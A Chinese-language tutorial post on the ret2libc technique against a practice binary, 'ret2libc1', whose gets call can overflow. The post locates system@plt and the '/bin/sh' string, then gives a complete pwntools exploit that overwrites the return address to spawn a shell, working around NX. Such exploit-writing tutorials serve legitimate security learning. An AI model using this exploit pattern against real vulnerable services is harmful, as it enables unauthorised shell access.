1. 程式人生 > >Ret2Libc(1) (有system、/bin/sh)繞過NX、ASLR

Ret2Libc(1) (有system、/bin/sh)繞過NX、ASLR

Ret2Libc即控制程式執行libc庫中的函式。

通常是返回到某個函式的plt處,或者函式執行時候的實際地址。

下面是一個例子:

可以看出程式gets有一個明顯的溢位漏洞

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

可以看到程式開啟了NX,

我的linux已經開啟了ASLR

而且,這個程式中,

我們可以用 objdump在plt表中找到system

objdump -d ret2libc1 | grep "plt"

用ROPgadget可以找到 ‘/bin/sh’

ROPgadget.py --binary ret2libc1 --string "/bin/sh"

system_plt = 0x08048460
bin_sh_addr = 0x08048720

確定溢位漏洞所需要的填充長度為112

利用思路:

1、用system_plt地址覆蓋函式的返回地址

2、構造一個system_plt的返回地址

3、給system函式傳入引數:/bin/sh 的地址

我們就可以構造payload了

exp:

from pwn import *
sys_plt = 0x08048460
bin_sh = 0x08048720

io = process('./ret2libc1')
payload = 'A'*112 + p32(sys_plt) + p32(0x41414141) +  p32(bin_sh)
io.sendline(payload)
io.interactive()

成功getshell